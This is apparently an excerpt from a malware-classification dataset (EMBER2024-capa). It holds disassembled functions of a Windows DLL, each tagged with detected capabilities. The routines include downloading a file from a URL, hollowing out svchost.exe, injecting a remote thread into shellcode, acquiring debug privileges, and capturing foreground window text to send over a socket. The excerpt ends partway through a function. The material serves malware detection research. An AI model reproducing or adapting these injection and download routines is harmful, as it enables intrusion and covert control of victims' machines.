joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800093f0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x460
mov rax, qword [0x18003ca90]
xor rax, rsp
mov qword [rsp + 0x450], rax
mov r13, rcx
lea rcx, str.wininet.dll
mov r15, rdx
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, str.InternetOpenW
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.InternetOpenUrlW
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.InternetCloseHandle
mov rcx, rbx
mov r14, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.InternetReadFile
mov rcx, rbx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ebx, ebx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov r12, rax
mov dword [rsp + 0x20], ebx
call rdi
mov rbp, rax
test rax, rax
je 0x1800094f8
xor r9d, r9d
xor r8d, r8d
mov rdx, r13
mov rcx, rax
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], 0x84000100
call r14
mov rbx, rax
test rax, rax
je 0x1800094f3
xor r13d, r13d
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x30], r13
mov edx, 0x40000000
mov rcx, r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
mov rcx, rbx
cmp rax, 0xffffffffffffffff
jne 0x1800094fc
call rsi
mov rcx, rbp
call rsi
xor al, al
jmp 0x180009564
lea r9, [rsp + 0x40]
lea rdx, [rsp + 0x50]
mov r8d, 0x400
call r12
test eax, eax
je 0x18000954f
mov r8d, dword [rsp + 0x40]
test r8d, r8d
je 0x18000954f
lea r9, [rsp + 0x44]
lea rdx, [rsp + 0x50]
mov rcx, rdi
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea r9, [rsp + 0x40]
lea rdx, [rsp + 0x50]
mov r8d, 0x400
mov rcx, rbx
call r12
test eax, eax
jne 0x180009513
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call rsi
mov rcx, rbp
call rsi
mov al, 1
mov rcx, qword [rsp + 0x450]
xor rcx, rsp
call fcn.180014c00
mov rbx, qword [rsp + 0x4b0]
add rsp, 0x460
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x180009590
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Get common file path
Resume thread
Use process replacement

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push r12
lea rbp, [rsp - 0x5c0]
sub rsp, 0x6c0
mov rax, qword [0x18003ca90]
xor rax, rsp
mov qword [rbp + 0x5b0], rax
movsxd rbx, edx
xor edx, edx
mov rsi, rcx
lea r8d, [rdx + 0x68]
lea rcx, [rsp + 0x70]
call fcn.180017ae0
xor r11d, r11d
lea rcx, [rbp - 0x20]
xor edx, edx
mov r8d, 0x4d0
mov qword [rsp + 0x50], r11
mov qword [rsp + 0x58], r11
mov qword [rsp + 0x60], r11
call fcn.180017ae0
xor r12d, r12d
lea rcx, [rbp + 0x4b1]
xor edx, edx
mov r8d, 0xfe
mov dword [rsp + 0x70], WSAGetLastError
mov dword [rbp - 0x54], 1
mov word [rbp - 0x50], r12w
mov byte [rbp + 0x4b0], r12b
call fcn.180017ae0
lea rcx, [rbp + 0x4b0]
mov edx, 0xff
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea r9, str.WindowsSystem32_svchost.exe
lea r8, [rbp + 0x4b0]
lea rdx, [0x1800344a8]
lea rcx, [rbp + 0x4b0]
mov byte [rbp + 0x4b3], r12b
call fcn.18000a0c0
lea r11, [rsp + 0x50]
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], r11
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
lea rcx, [rbp + 0x4b0]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x180009741
mov rcx, qword [rsp + 0x50]
mov r9d, 0x3000
mov r8, rbx
xor edx, edx
mov qword [rsp + 0x6f0], rdi
mov dword [rsp + 0x20], 0x40
mov rdi, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
test rax, rax
je 0x180009728
mov rcx, qword [rsp + 0x50]
mov r9, rdi
mov r8, rsi
mov rdx, rax
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180009728
mov rcx, qword [rsp + 0x58]
lea rdx, [rbp - 0x20]
mov dword [rbp + 0x10], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x180009728
mov rcx, qword [rsp + 0x58]
lea rdx, [rbp - 0x20]
mov qword [rbp + 0xd8], rbx
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x18000972c
xor al, al
jmp 0x180009739
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov al, 1
mov rdi, qword [rsp + 0x6f0]
mov rcx, qword [rbp + 0x5b0]
xor rcx, rsp
call fcn.180014c00
mov rbx, qword [rsp + 0x6f8]
add rsp, 0x6c0
pop r12
pop rsi
pop rbp
ret
Function at 0x1800098a0
Capabilities:
Get disk information

Disassembly:
push rbp
push r12
sub rsp, 0x518
mov rax, qword [0x18003ca90]
xor rax, rsp
mov qword [rsp + 0x4f0], rax
mov rbp, rdx
mov r12, rcx
test rdx, rdx
jne 0x1800098cf
xor eax, eax
jmp 0x1800099eb
mov qword [rsp + 0x540], rbx
mov qword [rsp + 0x510], rsi
lea rdx, [rsp + 0x100]
mov ecx, 0x3e8
mov qword [rsp + 0x508], rdi
mov qword [rsp + 0x500], r13
call qword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
test eax, eax
je 0x1800099bd
xor r13d, r13d
mov edi, r13d
cmp word [rsp + 0x100], di
je 0x1800099bd
lea rbx, [rsp + 0x100]
movsxd rax, edi
lea rdx, [0x180034570]
lea rsi, [rsp + rax*2 + 0x100]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x1800099ac
lea rdx, [0x180034578]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x1800099ac
movzx eax, word [rbx]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x20]
mov word [rsp + 0x20], ax
movzx eax, word [rbx + 2]
mov r8d, 0x64
mov word [rsp + 0x22], ax
mov word [rsp + 0x24], r13w
call qword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
test eax, eax
je 0x1800099c9
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rdx, [rsp + 0x30]
mov rcx, r12
movsxd rsi, eax
mov r8, rsi
call fcn.180015bc4
test eax, eax
je 0x180009a06
add rbx, 8
add edi, 4
cmp word [rbx], r13w
jne 0x180009926
mov rdx, r12
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
xor eax, eax
mov rdi, qword [rsp + 0x508]
mov rsi, qword [rsp + 0x510]
mov rbx, qword [rsp + 0x540]
mov r13, qword [rsp + 0x500]
mov rcx, qword [rsp + 0x4f0]
xor rcx, rsp
call fcn.180014c00
add rsp, 0x518
pop r12
pop rbp
ret
lea rdx, [rsp + 0x20]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [r12 + rsi*2]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov eax, 1
jmp 0x1800099cb

Function at 0x180009a30
Capabilities:
Get process image filename

Disassembly:
push rdi
sub rsp, 0x240
mov rax, qword [0x18003ca90]
xor rax, rsp
mov qword [rsp + 0x230], rax
xor eax, eax
mov rdi, rdx
test rdx, rdx
je 0x180009ac4
mov word [rdx], ax
mov r8d, ecx
xor edx, edx
mov ecx, 0x400
mov qword [rsp + 0x260], rbx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x180009a99
lea rdx, [rsp + 0x20]
mov r8d, 0x104
mov rcx, rax
call qword [sym.imp.PSAPI.DLL_GetProcessImageFileNameW]
test eax, eax
jne 0x180009a9d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x180009abc
lea rcx, [rsp + 0x20]
mov rdx, rdi
call fcn.1800098a0
mov rcx, rbx
test eax, eax
je 0x180009a93
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov rbx, qword [rsp + 0x260]
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.180014c00
add rsp, 0x240
pop rdi
ret
Function at 0x18000a350
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x60
mov rbp, rdx
mov r9d, 0x3000
mov r8d, 0x1000
xor edx, edx
mov rdi, rcx
xor bl, bl
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
je 0x18000a46d
xor eax, eax
mov qword [rsp + 0x70], r12
xor r12d, r12d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateProcess]
lea r9d, [r12 + 0x20]
mov qword [rsp + 0x50], rax
mov eax, dword [0x180045810]
lea r8, [rsp + 0x40]
mov dword [rsp + 0x48], eax
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdx, rsi
mov rcx, rdi
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x20], r12
mov qword [rsp + 0x58], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x18000a453
lea r9, [0x18000a340]
lea r8, [0x18000a310]
lea rdx, [rsi + 0x20]
mov rcx, rdi
sub r9d, r8d
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x18000a453
mov qword [rsp + 0x30], r12
lea r9, [rsi + 0x20]
xor r8d, r8d
xor edx, edx
mov rcx, rdi
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
je 0x18000a453
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov bl, 1
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r12, qword [rsp + 0x70]
lea r11, [rsp + 0x60]
movzx eax, bl
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x18000a540
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x270
mov rax, qword [0x18003ca90]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor edx, edx
mov rdi, rcx
xor sil, sil
lea ecx, [rdx + 2]
mov dword [rsp + 0x20], 0x238
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x18000a5e7
call fcn.18000ab50
mov dl, 0xa
mov rcx, rax
mov rbx, rax
call fcn.18000a8f0
mov rax, qword [rbx]
xor edi, edi
movsxd rcx, dword [rax + 4]
test byte [rcx + rbx + 0x10], 6
jne 0x18000a5be
mov rcx, qword [rcx + rbx + 0x48]
mov rax, qword [rcx]
call qword [rax + 0x68]
mov ecx, 4
cmp eax, 0xffffffff
cmove edi, ecx
mov rax, qword [rbx]
movsxd rcx, dword [rax + 4]
add rcx, rbx
test edi, edi
je 0x18000a5e3
mov edx, dword [rcx + 0x10]
or edx, edi
cmp qword [rcx + 0x48], 0
jne 0x18000a5db
or edx, 4
xor r8d, r8d
call fcn.18000a160
xor al, al
jmp 0x18000a656
lea rdx, [rsp + 0x20]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x18000a649
nop dword [rax]
lea rax, [rsp + 0x4c]
mov r8, rdi
sub r8, rax
nop dword [rax + rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x18000a624
add rax, 2
test ecx, ecx
jne 0x18000a610
test edx, edx
je 0x18000a63c
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x18000a600
jmp 0x18000a649
mov ecx, dword [rsp + 0x28]
mov sil, 1
mov dword [0x180045810], ecx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movzx eax, sil
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.180014c00
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret

Function at 0x18000a840
Capabilities:
Acquire debug privileges

Disassembly:
push rbx
sub rsp, 0x50
mov rax, qword [0x18003ca90]
xor rax, rsp
mov qword [rsp + 0x48], rax
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x30]
lea edx, [rbx + 0x20]
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x18000a8cc
lea r8, [rsp + 0x3c]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
mov dword [rsp + 0x38], 1
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov rcx, qword [rsp + 0x30]
lea r9d, [rbx + 0x10]
lea r8, [rsp + 0x38]
xor edx, edx
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x44], 2
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rsp + 0x30]
test eax, eax
sete bl
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.180014c00
add rsp, 0x50
pop rbx
ret
Function at 0x18000e950
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
sub rsp, 0x50
mov rbp, rcx
mov ecx, 0x230
movzx r13d, dl
call fcn.1800152a8
xor edx, edx
mov r8d, 0x230
mov rcx, rax
mov rdi, rax
call fcn.180017ae0
lea rcx, [rsp + 0x90]
mov byte [rdi], 0
mov dword [rsp + 0x90], 8
call qword [sym.imp.USER32.dll_GetLastInputInfo]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov r11d, eax
mov eax, 0x10624dd3
lea rcx, [rdi + 2]
sub r11d, dword [rsp + 0x94]
mul r11d
mov eax, 0x88888889
shr edx, 6
mul edx
shr edx, 5
mov r8d, edx
lea rdx, [0x1800341e8]
call qword [sym.imp.USER32.dll_wsprintfW]
call qword [sym.imp.USER32.dll_GetForegroundWindow]
test rax, rax
je 0x18000e9f8
lea rdx, [rdi + 0x20]
mov r8d, 0xfa
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowTextW]
xor ebx, ebx
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x98]
mov dword [rsp + 0x30], ebx
lea rcx, [rsp + 0x90]
mov r9b, 1
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x90], ebx
mov dword [rsp + 0x98], ebx
mov byte [rsp + 0x20], bl
mov dword [rsp + 0x40], ebx
call fcn.18000eb00
movsxd r12, dword [rsp + 0x90]
mov rsi, rax
test r12d, r12d
je 0x18000eaa5
test r13b, r13b
je 0x18000eaa5
lea r13d, [r12 + 0x230]
movsxd rcx, r13d
call fcn.1800125c4
mov ecx, dword [rsp + 0x98]
mov rdx, rdi
mov dword [rdi + 0x214], ecx
mov ecx, dword [rsp + 0x40]
mov r8d, 0x230
mov dword [rdi + 0x218], ecx
mov rcx, rax
mov rbx, rax
call fcn.180014c30
lea rcx, [rbx + 0x230]
mov r8, r12
mov rdx, rsi
call fcn.180014c30
cmp dword [rbp + 0x10], 0
jne 0x18000eabd
mov r8d, r13d
mov rdx, rbx
jmp 0x18000eab3
cmp dword [rbp + 0x10], ebx
jne 0x18000eabd
mov r8d, 0x230
mov rdx, rdi
mov rcx, qword [rbp + 8]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, rdi
call fcn.180014be0
test rsi, rsi
je 0x18000ead2
mov rcx, rsi
call fcn.180015790
test rbx, rbx
je 0x18000eadf
mov rcx, rbx
call fcn.180015790
mov rbx, qword [rsp + 0x80]
add rsp, 0x50
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x18000f2f0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x610
mov rax, qword [0x18003ca90]
xor rax, rsp
mov qword [rsp + 0x600], rax
mov rdi, rcx
mov esi, edx
lea rcx, [rsp + 0x50]
mov rdx, rdi
mov r8d, 0x2d8
call fcn.180014c30
lea rcx, [rsp + 0x332]
xor ebp, ebp
xor edx, edx
mov r8d, 0x2ce
mov word [rsp + 0x330], bp
call fcn.180017ae0
mov qword [rsp + 0x30], rbp
lea r8d, [rbp + 1]
lea rcx, [rsp + 0x260]
xor r9d, r9d
mov edx, 0x40000000
mov dword [rsp + 0x28], ebp
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x18000f383
xor eax, eax
jmp 0x18000f419
lea r8d, [rsi - 0x2d8]
lea rdx, [rdi + 0x2d8]
lea r9, [rsp + 0x40]
mov rcx, rax
mov qword [rsp + 0x20], rbp
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x18000f37c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rcx, [rsp + 0x330]
test eax, eax
je 0x18000f3e4
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x260]
lea rdx, str._s__s
call qword [sym.imp.USER32.dll_wsprintfW]
jmp 0x18000f3f2
lea rdx, [rsp + 0x260]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [rsp + 0x54]
test eax, eax
je 0x18000f402
dec eax
jne 0x18000f414
xor edx, edx
jmp 0x18000f407
mov edx, 5
lea rcx, [rsp + 0x330]
call fcn.18000f440
mov eax, 1
mov rcx, qword [rsp + 0x600]
xor rcx, rsp
call fcn.180014c00
mov rbx, qword [rsp + 0x640]
add rsp, 0x610
pop rdi
pop rsi
pop rbp
ret
Function at 0x18000f440
Capabilities:
Create process on windows
Query environment variable

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0xa10]
sub rsp, 0xb10
mov rax, qword [0x18003ca90]
xor rax, rsp
mov qword [rbp + 0xa00], rax
mov rdi, rcx
mov esi, edx
lea rcx, [rbp - 0x20]
xor edx, edx
mov r8d, 0x208
call fcn.180017ae0
mov edx, 0x2e
mov rcx, rdi
call fcn.1800166ac
mov rbx, rax
test rax, rax
je 0x18000f68d
mov qword [rsp + 0xb38], r12
lea rcx, [rbp + 0x1f2]
xor r12d, r12d
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x1f0], r12w
call fcn.180017ae0
lea edx, [r12 + 0x20]
mov rcx, rbx
call fcn.1800166ac
mov rcx, rbx
test rax, rax
je 0x18000f4f5
call qword [sym.imp.KERNEL32.dll_lstrlenW]
dec eax
movsxd rcx, eax
test eax, eax
jle 0x18000f512
cmp word [rbx + rcx*2], 0x20
je 0x18000f4fb
dec rcx
dec eax
test rcx, rcx
jg 0x18000f4e2
jmp 0x18000f512
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rcx, [rbp + 0x1f0]
movsxd r9, eax
mov r8, rbx
mov edx, 0x104
call fcn.180015938
lea r8, [rbp - 0x20]
lea rcx, [rbp + 0x1f0]
mov edx, 1
call fcn.18000f6b0
test eax, eax
je 0x18000f5a0
lea rcx, [rbp + 0x610]
xor edx, edx
mov r8d, 0x3e8
call fcn.180017ae0
lea r8, [rbp - 0x20]
lea rdx, str._s_shellopencommand
lea rcx, [rbp + 0x610]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp - 0x20]
xor edx, edx
mov r8d, 0x208
call fcn.180017ae0
lea rcx, [rbp + 0x402]
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x400], r12w
call fcn.180017ae0
lea r8, [rbp + 0x400]
lea rcx, [rbp + 0x610]
mov edx, 2
call fcn.18000f6b0
test eax, eax
jne 0x18000f5a7
xor al, al
jmp 0x18000f685
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x400]
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea rdx, [0x180034920]
lea rcx, [rbp - 0x20]
call fcn.180015dd4
test rax, rax
jne 0x18000f608
lea rdx, [0x180034928]
lea rcx, [rbp - 0x20]
call fcn.180015dd4
test rax, rax
jne 0x18000f608
lea rdx, [0x180034160]
lea rcx, [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rcx, [rbp - 0x20]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x18000f614
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
xor edx, edx
lea rcx, [rsp + 0x58]
lea r8d, [rdx + 0x60]
call fcn.180017ae0
mov dword [rsp + 0x50], WSAGetLastError
test esi, esi
je 0x18000f63e
lea rax, str.WinSta0Default
mov qword [rsp + 0x60], rax
jmp 0x18000f64a
mov dword [rbp - 0x74], 1
mov word [rbp - 0x70], r12w
lea rax, [rbp - 0x40]
lea rdx, [rbp - 0x20]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
xor ecx, ecx
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov al, 1
mov r12, qword [rsp + 0xb38]
mov rcx, qword [rbp + 0xa00]
xor rcx, rsp
call fcn.180014c00
mov rbx, qword [rsp + 0xb40]
add rsp, 0xb10
pop rdi
pop rsi
pop rbp
ret
Function at 0x18000f6b0
Capabilities:
Query or enumerate registry value

Disassembly:
mov dword [rsp + 0x10], edx
push rbx
push rsi
push rdi
sub rsp, 0x480
mov rax, qword [0x18003ca90]
xor rax, rsp
mov qword [rsp + 0x470], rax
mov rdi, r8
mov rsi, rcx
mov qword [rsp + 0x48], 0xffffffff80000000
xor ebx, ebx
xor edx, edx
mov r8d, 0x208
lea rcx, [rsp + 0x50]
call fcn.180017ae0
xor edx, edx
mov r8d, 0x208
lea rcx, [rsp + 0x260]
call fcn.180017ae0
nop
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
mov rdx, rsi
mov rcx, 0xffffffff80000000
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x18000f738
or ebx, 0xffffffff
jmp 0x18000f8fb
mov eax, dword [rsp + 0x4a8]
test eax, eax
je 0x18000f8fb
cmp eax, 2
jbe 0x18000f8b0
cmp eax, 3
je 0x18000f863
cmp eax, 4
je 0x18000f80d
cmp eax, 7
jne 0x18000f8fb
mov dword [rsp + 0x30], 0x208
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x4a8]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x18000f8fb
lea rbx, [rsp + 0x50]
nop dword [rax]
cmp word [rbx], 0
je 0x18000f800
mov r9d, 0x208
mov r8, rbx
mov edx, 0x104
lea rcx, [rsp + 0x260]
call fcn.180016760
mov r9d, 0x208
lea r8, [0x180034160]
mov edx, 0x104
lea rcx, [rsp + 0x260]
call fcn.180016760
xor edx, edx
mov rcx, rbx
call fcn.180016300
lea rbx, [rax + 2]
jmp 0x18000f7b0
lea rdx, [rsp + 0x260]
jmp 0x18000f8ed
mov dword [rsp + 0x30], 4
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x4a8]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x18000f8fb
mov r8d, dword [rsp + 0x40]
lea rdx, [0x180033f08]
mov rcx, rdi
call qword [sym.imp.USER32.dll_wsprintfW]
jmp 0x18000f8f6
mov dword [rsp + 0x30], 0x208
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
lea r9, [rsp + 0x4a8]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x18000f8fb
mov r8d, dword [rsp + 0x4a8]
lea rdx, str._08X
mov rcx, rdi
call qword [sym.imp.USER32.dll_wsprintfW]
jmp 0x18000f8f6
mov dword [rsp + 0x30], 0x208
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x4a8]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x18000f8fb
lea rdx, [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ebx, 1
mov rcx, 0xffffffff80000000
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
mov rcx, qword [rsp + 0x470]
xor rcx, rsp
call fcn.180014c00
add rsp, 0x480
pop rdi
pop rsi
pop rbx
ret
Function at 0x18000f930
Capabilities:
Delete registry value
Set registry value

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
sub rsp, 0x30
cmp dword [rcx + 0x43c], 0
mov rbp, rdx
lea rax, [rsp + 0x50]
mov rsi, r8
mov rbx, rcx
lea rdi, str.Network
lea r12, str.AppEvents
mov rdx, rdi
mov r9d, 2
cmovne rdx, r12
mov rcx, 0xffffffff80000001
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rsp + 0x50]
mov rdx, rbp
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [rbx + 0x43c], 0
lea r8, [rsp + 0x50]
cmovne rdi, r12
mov rcx, 0xffffffff80000001
mov rdx, rdi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x18000f9ef
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [rsp + 0x50]
mov r9d, 3
add eax, eax
xor r8d, r8d
mov rdx, rbp
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rbx, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
add rsp, 0x30
pop r12
pop rdi
pop rsi
ret

Function at 0x18000fa10
Capabilities:
Accept command line arguments
Create process on windows
Terminate process

Disassembly:
push rbx
sub rsp, 0x2f0
mov rax, qword [0x18003ca90]
xor rax, rsp
mov qword [rsp + 0x2e0], rax
lea rdx, [rsp + 0xe0]
mov r8d, 0x1fe
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea rcx, [rsp + 0x70]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
lea r11, [rsp + 0x50]
mov qword [rsp + 0x48], r11
lea rax, [rsp + 0x70]
lea rcx, [rsp + 0xe0]
mov qword [rsp + 0x40], rax
xor eax, eax
xor r9d, r9d
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
xor r8d, r8d
